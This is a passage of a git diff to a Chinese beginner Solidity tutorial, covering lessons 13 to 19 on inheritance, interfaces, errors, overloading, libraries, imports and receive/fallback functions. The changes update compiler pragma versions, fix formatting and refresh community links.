修饰器继承示例 + ![13-3](./img/13-3.png) ![13-4](./img/13-4.png) ![13-5](./img/13-5.png) - 构造函数继承示例 + ![13-6](./img/13-6.png) ![13-7](./img/13-7.png) - 调用父合约示例 + ![13-8](./img/13-8.png) ![13-9](./img/13-9.png) - * 菱形继承示例 +- 菱形继承示例 ![13-10](./img/13-10.png) ## 总结 -这一讲,我们介绍了`solidity`继承的基本用法,包括简单继承,多重继承,修饰器和构造函数的继承、调用父合约中的函数,以及多重继承中的菱形继承问题。 - +这一讲,我们介绍了`Solidity`继承的基本用法,包括简单继承,多重继承,修饰器和构造函数的继承、调用父合约中的函数,以及多重继承中的菱形继承问题。 diff --git a/14_Interface/AbstractDemo.sol b/14_Interface/AbstractDemo.sol index 69a5273d1..98cda59c8 100644 --- a/14_Interface/AbstractDemo.sol +++ b/14_Interface/AbstractDemo.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; abstract contract Base{ string public name = "Base"; function getAlias() public pure virtual returns(string memory); diff --git a/14_Interface/Interface.sol b/14_Interface/Interface.sol index 1f0862a9b..e908f19c3 100644 --- a/14_Interface/Interface.sol +++ b/14_Interface/Interface.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; abstract contract InsertionSort{ function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); diff --git a/14_Interface/InterfaceDemo.sol b/14_Interface/InterfaceDemo.sol index ddc31b9d1..5ce97d21d 100644 --- a/14_Interface/InterfaceDemo.sol +++ b/14_Interface/InterfaceDemo.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; interface Base { function getFirstName() external pure returns(string memory); function getLastName() external pure returns(string memory); diff --git a/14_Interface/readme.md b/14_Interface/readme.md index 952490db5..6c7f72ce2 100644 --- a/14_Interface/readme.md +++ b/14_Interface/readme.md @@ -10,25 +10,28 @@ tags: # WTF Solidity极简入门: 14. 抽象合约和接口 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- -这一讲,我们用`ERC721`的接口合约为例介绍`solidity`中的抽象合约(`abstract`)和接口(`interface`),帮助大家更好的理解`ERC721`标准。 +这一讲,我们用`ERC721`的接口合约为例介绍`Solidity`中的抽象合约(`abstract`)和接口(`interface`),帮助大家更好的理解`ERC721`标准。 ## 抽象合约 -如果一个智能合约里至少有一个未实现的函数,即某个函数缺少主体`{}`中的内容,则必须将该合约标为`abstract`,不然编译会报错;另外,未实现的函数需要加`virtual`,以便子合约重写。拿我们之前的[插入排序合约](https://github.com/AmazingAng/WTFSolidity/tree/main/07_InsertionSort)为例,如果我们还没想好具体怎么实现插入排序函数,那么可以把合约标为`abstract`,之后让别人补写上。 + +如果一个智能合约里至少有一个未实现的函数,即某个函数缺少主体`{}`中的内容,则必须将该合约标为`abstract`,不然编译会报错;另外,未实现的函数需要加`virtual`,以便子合约重写。拿我们之前的[插入排序合约](https://github.com/AmazingAng/WTFSolidity/tree/main/10_InsertionSort)为例,如果我们还没想好具体怎么实现插入排序函数,那么可以把合约标为`abstract`,之后让别人补写上。 + ```solidity abstract contract InsertionSort{ function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); } ``` + ## 接口 接口类似于抽象合约,但它不实现任何功能。接口的规则: @@ -45,7 +48,7 @@ abstract contract InsertionSort{ 2. 接口id(更多信息见[EIP165](https://eips.ethereum.org/EIPS/eip-165)) -另外,接口与合约`ABI`(Application Binary Interface)等价,可以相互转换:编译接口可以得到合约的`ABI`,利用[abi-to-sol工具](https://gnidan.github.io/abi-to-sol/)也可以将`ABI json`文件转换为`接口sol`文件。 +另外,接口与合约`ABI`(Application Binary Interface)等价,可以相互转换:编译接口可以得到合约的`ABI`,利用[abi-to-sol工具](https://gnidan.github.io/abi-to-sol/),也可以将`ABI json`文件转换为`接口sol`文件。 我们以`ERC721`接口合约`IERC721`为例,它定义了3个`event`和9个`function`,所有`ERC721`标准的NFT都实现了这些函数。我们可以看到,接口和常规合约的区别在于每个函数都以`;`代替函数体`{ }`结尾。 @@ -76,12 +79,15 @@ interface IERC721 is IERC165 { ``` ### IERC721事件 + `IERC721`包含3个事件,其中`Transfer`和`Approval`事件在`ERC20`中也有。 -- `Transfer`事件:在转账时被释放,记录代币的发出地址`from`,接收地址`to`和`tokenid`。 -- `Approval`事件:在授权时释放,记录授权地址`owner`,被授权地址`approved`和`tokenid`。 -- `ApprovalForAll`事件:在批量授权时释放,记录批量授权的发出地址`owner`,被授权地址`operator`和授权与否的`approved`。 + +- `Transfer`事件:在转账时被释放,记录代币的发出地址`from`,接收地址`to`和`tokenId`。 +- `Approval`事件:在授权时被释放,记录授权地址`owner`,被授权地址`approved`和`tokenId`。 +- `ApprovalForAll`事件:在批量授权时被释放,记录批量授权的发出地址`owner`,被授权地址`operator`和授权与否的`approved`。 ### IERC721函数 + - `balanceOf`:返回某地址的NFT持有量`balance`。 - `ownerOf`:返回某`tokenId`的主人`owner`。 - `transferFrom`:普通转账,参数为转出地址`from`,接收地址`to`和`tokenId`。 @@ -92,9 +98,8 @@ interface IERC721 is IERC165 { - `isApprovedForAll`:查询某地址的NFT是否批量授权给了另一个`operator`地址。 - `safeTransferFrom`:安全转账的重载函数,参数里面包含了`data`。 - - ### 什么时候使用接口? + 如果我们知道一个合约实现了`IERC721`接口,我们不需要知道它具体代码实现,就可以与它交互。 无聊猿`BAYC`属于`ERC721`代币,实现了`IERC721`接口的功能。我们不需要知道它的源代码,只需知道它的合约地址,用`IERC721`接口就可以与它交互,比如用`balanceOf()`来查询某个地址的`BAYC`余额,用`safeTransferFrom()`来转账`BAYC`。 @@ -117,11 +122,14 @@ contract interactBAYC { ``` ## 在Remix上验证 + - 抽象合约示例(简单的演示代码如图所示) + ![14-1](./img/14-1.png) - 接口示例(简单的演示代码如图所示) + ![14-2](./img/14-2.png) ## 总结 -这一讲,我介绍了`solidity`中的抽象合约(`abstract`)和接口(`interface`),他们都可以写模版并且减少代码冗余。我们还讲了`ERC721`接口合约`IERC721`,以及如何利用它与无聊猿`BAYC`合约进行交互。 +这一讲,我介绍了`Solidity`中的抽象合约(`abstract`)和接口(`interface`),他们都可以写模版并且减少代码冗余。我们还讲了`ERC721`接口合约`IERC721`,以及如何利用它与无聊猿`BAYC`合约进行交互。 diff --git a/15_Errors/Error.sol b/15_Errors/Error.sol index abcc1a9de..46f30c816 100644 --- a/15_Errors/Error.sol +++ b/15_Errors/Error.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // Gas cost在Remix中测试得到 使用0.8.17版本编译 // 参数使用 tokenId = 123, address = {any address} diff --git a/15_Errors/readme.md b/15_Errors/readme.md index 7a423b12e..08aa59312 100644 --- a/15_Errors/readme.md +++ b/15_Errors/readme.md @@ -10,78 +10,92 @@ tags: # WTF Solidity极简入门: 15. 异常 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- -这一讲,我们介绍`solidity`三种抛出异常的方法:`error`,`require`和`assert`,并比较三种方法的`gas`消耗。 +这一讲,我们介绍`Solidity`三种抛出异常的方法:`error`,`require`和`assert`,并比较三种方法的`gas`消耗。 ## 异常 -写智能合约经常会出`bug`,`solidity`中的异常命令帮助我们`debug`。 + +写智能合约经常会出`bug`,`Solidity`中的异常命令帮助我们`debug`。 ### Error + `error`是`solidity 0.8.4版本`新加的内容,方便且高效(省`gas`)地向用户解释操作失败的原因,同时还可以在抛出异常的同时携带参数,帮助开发者更好地调试。人们可以在`contract`之外定义异常。下面,我们定义一个`TransferNotOwner`异常,当用户不是代币`owner`的时候尝试转账,会抛出错误: + ```solidity error TransferNotOwner(); // 自定义error ``` + 我们也可以定义一个携带参数的异常,来提示尝试转账的账户地址 + ```solidity error TransferNotOwner(address sender); // 自定义的带参数的error ``` 在执行当中,`error`必须搭配`revert`(回退)命令使用。 + ```solidity - function transferOwner1(uint256 tokenId, address newOwner) public { - if(_owners[tokenId] != msg.sender){ - revert TransferNotOwner(); - // revert TransferNotOwner(msg.sender); - } - _owners[tokenId] = newOwner; +function transferOwner1(uint256 tokenId, address newOwner) public { + if(_owners[tokenId] != msg.sender){ + revert TransferNotOwner(); + // revert TransferNotOwner(msg.sender); } + _owners[tokenId] = newOwner; +} ``` + 我们定义了一个`transferOwner1()`函数,它会检查代币的`owner`是不是发起人,如果不是,就会抛出`TransferNotOwner`异常;如果是的话,就会转账。 ### Require + `require`命令是`solidity 0.8版本`之前抛出异常的常用方法,目前很多主流合约仍然还在使用它。它很好用,唯一的缺点就是`gas`随着描述异常的字符串长度增加,比`error`命令要高。使用方法:`require(检查条件,"异常的描述")`,当检查条件不成立的时候,就会抛出异常。 -我们用`require`命令重写一下上面的`transferOwner`函数: +我们用`require`命令重写一下上面的`transferOwner1`函数: + ```solidity - function transferOwner2(uint256 tokenId, address newOwner) public { - require(_owners[tokenId] == msg.sender, "Transfer Not Owner"); - _owners[tokenId] = newOwner; - } +function transferOwner2(uint256 tokenId, address newOwner) public { + require(_owners[tokenId] == msg.sender, "Transfer Not Owner"); + _owners[tokenId] = newOwner; +} ``` ### Assert + `assert`命令一般用于程序员写程序`debug`,因为它不能解释抛出异常的原因(比`require`少个字符串)。它的用法很简单,`assert(检查条件)`,当检查条件不成立的时候,就会抛出异常。 -我们用`assert`命令重写一下上面的`transferOwner`函数: +我们用`assert`命令重写一下上面的`transferOwner1`函数: + ```solidity - function transferOwner3(uint256 tokenId, address newOwner) public { - assert(_owners[tokenId] == msg.sender); - _owners[tokenId] = newOwner; - } +function transferOwner3(uint256 tokenId, address newOwner) public { + assert(_owners[tokenId] == msg.sender); + _owners[tokenId] = newOwner; +} ``` ## 在remix上验证 - + 1. 输入任意`uint256`数字和非0地址,调用`transferOwner1`,也就是`error`方法,控制台抛出了异常并显示我们自定义的`TransferNotOwner`。 - ![15 1.png](./img/15-1.png) - + + ![15-1.png](./img/15-1.png) + 2. 输入任意`uint256`数字和非0地址,调用`transferOwner2`,也就是`require`方法,控制台抛出了异常并打印出`require`中的字符串。 - ![15 2.png](./img/15-2.png) - + + ![15-2.png](./img/15-2.png) + 3. 输入任意`uint256`数字和非0地址,调用`transferOwner3`,也就是`assert`方法,控制台只抛出了异常。 - ![15 3.png](./img/15-3.png) - + + ![15-3.png](./img/15-3.png) ## 三种方法的gas比较 + 我们比较一下三种抛出异常的`gas`消耗,通过remix控制台的Debug按钮,能查到每次函数调用的`gas`消耗分别如下: (使用0.8.17版本编译) @@ -94,5 +108,5 @@ error TransferNotOwner(address sender); // 自定义的带参数的error **备注:** Solidity 0.8.0之前的版本,`assert`抛出的是一个 `panic exception`,会把剩余的 `gas` 全部消耗,不会返还。更多细节见[官方文档](https://docs.soliditylang.org/en/v0.8.17/control-structures.html)。 ## 总结 -这一讲,我们介绍`solidity`三种抛出异常的方法:`error`,`require`和`assert`,并比较了三种方法的`gas`消耗。结论:`error`既可以告知用户抛出异常的原因,又能省`gas`。 +这一讲,我们介绍`Solidity`三种抛出异常的方法:`error`,`require`和`assert`,并比较了三种方法的`gas`消耗。结论:`error`既可以告知用户抛出异常的原因,又能省`gas`。 diff --git a/16_Overloading/Overloading.sol b/16_Overloading/Overloading.sol index 266b9fa86..a36af4518 100644 --- a/16_Overloading/Overloading.sol +++ b/16_Overloading/Overloading.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Overload { function saySomething() public pure returns(string memory){ return("Nothing"); diff --git a/16_Overloading/readme.md b/16_Overloading/readme.md index 331aa9009..02b302f88 100644 --- a/16_Overloading/readme.md +++ b/16_Overloading/readme.md @@ -8,19 +8,23 @@ tags: --- # WTF Solidity极简入门: 16. 函数重载 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 + +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## 重载 -`solidity`中允许函数进行重载(`overloading`),即名字相同但输入参数类型不同的函数可以同时存在,他们被视为不同的函数。注意,`solidity`不允许修饰器(`modifier`)重载。 + +`Solidity`中允许函数进行重载(`overloading`),即名字相同但输入参数类型不同的函数可以同时存在,他们被视为不同的函数。注意,`Solidity`不允许修饰器(`modifier`)重载。 + ### 函数重载 + 举个例子,我们可以定义两个都叫`saySomething()`的函数,一个没有任何参数,输出`"Nothing"`;另一个接收一个`string`参数,输出这个`string`。 ```solidity @@ -36,24 +40,26 @@ function saySomething(string memory something) public pure returns(string memory 最终重载函数在经过编译器编译后,由于不同的参数类型,都变成了不同的函数选择器(selector)。关于函数选择器的具体内容可参考[WTF Solidity极简入门: 29. 函数选择器Selector](https://github.com/AmazingAng/WTFSolidity/tree/main/29_Selector)。 以 `Overloading.sol` 合约为例,在 Remix 上编译部署后,分别调用重载函数 `saySomething()` 和 `saySomething(string memory something)`,可以看到他们返回了不同的结果,被区分为不同的函数。 -![](./img/16-1.jpg) + +![16-1.jpg](./img/16-1.jpg) ### 实参匹配(Argument Matching) + 在调用重载函数时,会把输入的实际参数和函数参数的变量类型做匹配。 如果出现多个匹配的重载函数,则会报错。下面这个例子有两个叫`f()`的函数,一个参数为`uint8`,另一个为`uint256`: + ```solidity - function f(uint8 _in) public pure returns (uint8 out) { - out = _in; - } +function f(uint8 _in) public pure returns (uint8 out) { + out = _in; +} - function f(uint256 _in) public pure returns (uint256 out) { - out = _in; - } +function f(uint256 _in) public pure returns (uint256 out) { + out = _in; +} ``` + 我们调用`f(50)`,因为`50`既可以被转换为`uint8`,也可以被转换为`uint256`,因此会报错。 ## 总结 -这一讲,我们介绍了`solidity`中函数重载的基本用法:名字相同但输入参数类型不同的函数可以同时存在,他们被视为不同的函数。 - - +这一讲,我们介绍了`Solidity`中函数重载的基本用法:名字相同但输入参数类型不同的函数可以同时存在,他们被视为不同的函数。 diff --git a/17_Library/Library.sol b/17_Library/Library.sol index 851f9c09b..b82b94702 100644 --- a/17_Library/Library.sol +++ b/17_Library/Library.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; diff --git a/17_Library/readme.md b/17_Library/readme.md index c519b140c..da37f9368 100644 --- a/17_Library/readme.md +++ b/17_Library/readme.md @@ -10,21 +10,20 @@ tags: # WTF Solidity极简入门: 17. 库合约 站在巨人的肩膀上 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ -这一讲,我们用`ERC721`的引用的库合约`String`为例介绍`solidity`中的库合约(`library`),并总结了常用的库合约。 +--- +这一讲,我们用`ERC721`的引用的库合约`String`为例介绍`Solidity`中的库合约(`Library`),并总结了常用的库合约。 ## 库合约 -库合约是一种特殊的合约,为了提升`solidity`代码的复用性和减少`gas`而存在。库合约是一系列的函数合集,由大神或者项目方创作,咱们站在巨人的肩膀上,会用就行了。 - +库合约是一种特殊的合约,为了提升`Solidity`代码的复用性和减少`gas`而存在。库合约是一系列的函数合集,由大神或者项目方创作,咱们站在巨人的肩膀上,会用就行了。 ![库合约:站在巨人的肩膀上](https://images.mirror-media.xyz/publication-images/HJC0UjkALdrL8a2BmAE2J.jpeg?height=300&width=388) @@ -36,7 +35,9 @@ tags: 4. 不可以被销毁 ## String库合约 + `String库合约`是将`uint256`类型转换为相应的`string`类型的代码库,样例代码如下: + ```solidity library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; @@ -98,35 +99,42 @@ library Strings { } } ``` + 他主要包含两个函数,`toString()`将`uint256`转为`string`,`toHexString()`将`uint256`转换为`16进制`,在转换为`string`。 ### 如何使用库合约 -我们用String库合约的toHexString()来演示两种使用库合约中函数的办法。 -**1. 利用using for指令** +我们用`String`库合约的`toHexString()`来演示两种使用库合约中函数的办法。 -指令`using A for B;`可用于附加库合约(从库 A)到任何类型(B)。添加完指令后,库`A`中的函数会自动添加为`B`类型变量的成员,可以直接调用。注意:在调用的时候,这个变量会被当作第一个参数传递给函数: -```solidity +1. 利用using for指令 + + 指令`using A for B;`可用于附加库合约(从库 A)到任何类型(B)。添加完指令后,库`A`中的函数会自动添加为`B`类型变量的成员,可以直接调用。注意:在调用的时候,这个变量会被当作第一个参数传递给函数: + + ```solidity // 利用using for指令 using Strings for uint256; function getString1(uint256 _number) public pure returns(string memory){ // 库合约中的函数会自动添加为uint256型变量的成员 return _number.toHexString(); } -``` -**2. 通过库合约名称调用函数** -```solidity + ``` + +2. 通过库合约名称调用函数 + + ```solidity // 直接通过库合约名调用 function getString2(uint256 _number) public pure returns(string memory){ return Strings.toHexString(_number); } -``` -我们部署合约并输入`170`测试一下,两种方法均能返回正确的`16进制string` “0xaa”。证明我们调用库合约成功! + ``` +我们部署合约并输入`170`测试一下,两种方法均能返回正确的`16进制string` “0xaa”。证明我们调用库合约成功! ![成功调用库合约](https://images.mirror-media.xyz/publication-images/bzB_JDC9f5VWHRjsjQyQa.png?height=750&width=580) + ## 总结 -这一讲,我们用`ERC721`的引用的库合约`String`为例介绍`solidity`中的库合约(`Library`)。99%的开发者都不需要自己去写库合约,会用大神写的就可以了。我们只需要知道什么情况该用什么库合约。常用的有: + +这一讲,我们用`ERC721`的引用的库合约`String`为例介绍`Solidity`中的库合约(`Library`)。99%的开发者都不需要自己去写库合约,会用大神写的就可以了。我们只需要知道什么情况该用什么库合约。常用的有: 1. [String](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Strings.sol):将`uint256`转换为`String` 2. [Address](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Address.sol):判断某个地址是否为合约地址 diff --git a/18_Import/Import.sol b/18_Import/Import.sol index aef0bd2f1..55ba2ec66 100644 --- a/18_Import/Import.sol +++ b/18_Import/Import.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 通过文件相对位置import import './Yeye.sol'; @@ -7,7 +7,7 @@ import './Yeye.sol'; import {Yeye} from './Yeye.sol'; // 通过网址引用 import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; -// 引用oppenzepplin合约 +// 引用OpenZeppelin合约 import '@openzeppelin/contracts/access/Ownable.sol'; contract Import { diff --git a/18_Import/Yeye.sol b/18_Import/Yeye.sol index 0075d4959..92e7b6766 100644 --- a/18_Import/Yeye.sol +++ b/18_Import/Yeye.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 第10讲合约继承中的Yeye合约 contract Yeye { diff --git a/18_Import/readme.md b/18_Import/readme.md index a45fcb7fc..004cd1937 100644 --- a/18_Import/readme.md +++ b/18_Import/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 18. Import -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 在Solidity中,`import`语句可以帮助我们在一个文件中引用另一个文件的内容,提高代码的可重用性和组织性。本教程将向你介绍如何在Solidity中使用`import`语句。 @@ -25,37 +25,53 @@ tags: - 通过源文件相对位置导入,例子: -``` -文件结构 -├── Import.sol -└── Yeye.sol + ```text + 文件结构 + ├── Import.sol + └── Yeye.sol -// 通过文件相对位置import -import './Yeye.sol'; -``` + // 通过文件相对位置import + import './Yeye.sol'; + ``` - 通过源文件网址导入网上的合约的全局符号,例子: -``` -// 通过网址引用 -import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; -``` + + ```text + // 通过网址引用 + import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; + ``` - 通过`npm`的目录导入,例子: -```solidity -import '@openzeppelin/contracts/access/Ownable.sol'; -``` + + ```solidity + import '@openzeppelin/contracts/access/Ownable.sol'; + ``` - 通过指定`全局符号`导入合约特定的全局符号,例子: -```solidity -import {Yeye} from './Yeye.sol'; -``` + + ```solidity + import {Yeye} from './Yeye.sol'; + ``` - 引用(`import`)在代码中的位置为:在声明版本号之后,在其余代码之前。 ## 测试导入结果 我们可以用下面这段代码测试是否成功导入了外部源代码: + ```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// 通过文件相对位置import +import './Yeye.sol'; +// 通过`全局符号`导入特定的合约 +import {Yeye} from './Yeye.sol'; +// 通过网址引用 +import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; +// 引用OpenZeppelin合约 +import '@openzeppelin/contracts/access/Ownable.sol'; + contract Import { // 成功导入Address库 using Address for address; @@ -69,7 +85,8 @@ contract Import { } ``` -![result](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/18_Import_en/img/18-1.png) +![result](./img/18-1.png) ## 总结 + 这一讲,我们介绍了利用`import`关键字导入外部源代码的方法。通过`import`关键字,可以引用我们写的其他文件中的合约或者函数,也可以直接导入别人写好的代码,非常方便。 diff --git a/19_Fallback/Fallback.sol b/19_Fallback/Fallback.sol index 4c751c312..359d92d3b 100644 --- a/19_Fallback/Fallback.sol +++ b/19_Fallback/Fallback.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Fallback { /* 触发fallback() 还是 receive()? diff --git a/19_Fallback/readme.md b/19_Fallback/readme.md index 8cac1d3e0..d7a96ac09 100644 --- a/19_Fallback/readme.md +++ b/19_Fallback/readme.md @@ -10,59 +10,65 @@ tags: # WTF Solidity极简入门: 19. 接收ETH receive和fallback -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- `Solidity`支持两种特殊的回调函数,`receive()`和`fallback()`,他们主要在两种情况下被使用: + 1. 接收ETH 2. 处理合约中不存在的函数调用(代理合约proxy contract) -注意⚠️:在solidity 0.6.x版本之前,语法上只有 `fallback()` 函数,用来接收用户发送的ETH时调用以及在被调用函数签名没有匹配到时,来调用。 -0.6版本之后,solidity才将 `fallback()` 函数拆分成 `receive()` 和 `fallback()` 两个函数。 +注意⚠️:在Solidity 0.6.x版本之前,语法上只有 `fallback()` 函数,用来接收用户发送的ETH时调用以及在被调用函数签名没有匹配到时,来调用。 +0.6版本之后,Solidity才将 `fallback()` 函数拆分成 `receive()` 和 `fallback()` 两个函数。 我们这一讲主要讲接收ETH的情况。 ## 接收ETH函数 receive + `receive()`函数是在合约收到`ETH`转账时被调用的函数。一个合约最多有一个`receive()`函数,声明方式与一般函数不一样,不需要`function`关键字:`receive() external payable { ... }`。`receive()`函数不能有任何的参数,不能返回任何值,必须包含`external`和`payable`。 当合约接收ETH的时候,`receive()`会被触发。`receive()`最好不要执行太多的逻辑因为如果别人用`send`和`transfer`方法发送`ETH`的话,`gas`会限制在`2300`,`receive()`太复杂可能会触发`Out of Gas`报错;如果用`call`就可以自定义`gas`执行更复杂的逻辑(这三种发送ETH的方法我们之后会讲到)。 我们可以在`receive()`里发送一个`event`,例如: + ```solidity - // 定义事件 - event Received(address Sender, uint Value); - // 接收ETH时释放Received事件 - receive() external payable { - emit Received(msg.sender, msg.value); - } +// 定义事件 +event Received(address Sender, uint Value); +// 接收ETH时释放Received事件 +receive() external payable { + emit Received(msg.sender, msg.value); +} ``` 有些恶意合约,会在`receive()` 函数(老版本的话,就是 `fallback()` 函数)嵌入恶意消耗`gas`的内容或者使得执行故意失败的代码,导致一些包含退款和转账逻辑的合约不能正常工作,因此写包含退款等逻辑的合约时候,一定要注意这种情况。 ## 回退函数 fallback + `fallback()`函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约`proxy contract`。`fallback()`声明时不需要`function`关键字,必须由`external`修饰,一般也会用`payable`修饰,用于接收ETH:`fallback() external payable { ... }`。 我们定义一个`fallback()`函数,被触发时候会释放`fallbackCalled`事件,并输出`msg.sender`,`msg.value`和`msg.data`: ```solidity - event fallbackCalled(address Sender, uint Value, bytes Data); +event fallbackCalled(address Sender, uint Value, bytes Data); - // fallback - fallback() external payable{ - emit fallbackCalled(msg.sender, msg.value, msg.data); - } +// fallback +fallback() external payable{ + emit fallbackCalled(msg.sender, msg.value, 